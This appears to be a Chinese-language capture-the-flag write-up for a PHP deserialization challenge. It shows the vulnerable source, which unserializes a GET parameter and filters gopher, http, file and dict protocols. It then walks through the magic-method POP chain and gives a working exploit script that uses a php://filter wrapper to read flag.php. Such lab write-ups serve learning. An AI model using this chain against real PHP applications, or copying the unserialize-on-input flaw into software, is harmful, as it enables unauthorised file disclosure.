Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
直接给出了一段源码
明显的反序列化题目,找找高危函数
看到 Modifier这个类
include()这个函数常用于文件包含,而想要调用这个函数,我们需要调用__invoke()这个魔术方法,而这个魔术方法有个特性
再看到Test这个类
当访问和设置未定义和已经订定义但关键字为’private,protected’属性时会自动调用__get(),__set()方法。
同时__get()这个魔术方法返回了一个函数
看到Show类
有个__construct()魔术方法
创建新对象的时候会自动调用这个方法
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
还有__toString() 这个魔术方法
当echo 一个对象时会自动触发__toString()魔术方法
public function __toString(){
return $this->str->source;
}
而他返回了$this->str->source;
所以要echo include()里的内容
得让source等于一个对象
思路如下:
-
调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发__get()魔术方法
将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数 -
让source 等于对象,进而触发__toString方法,输出内容
exp如下
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>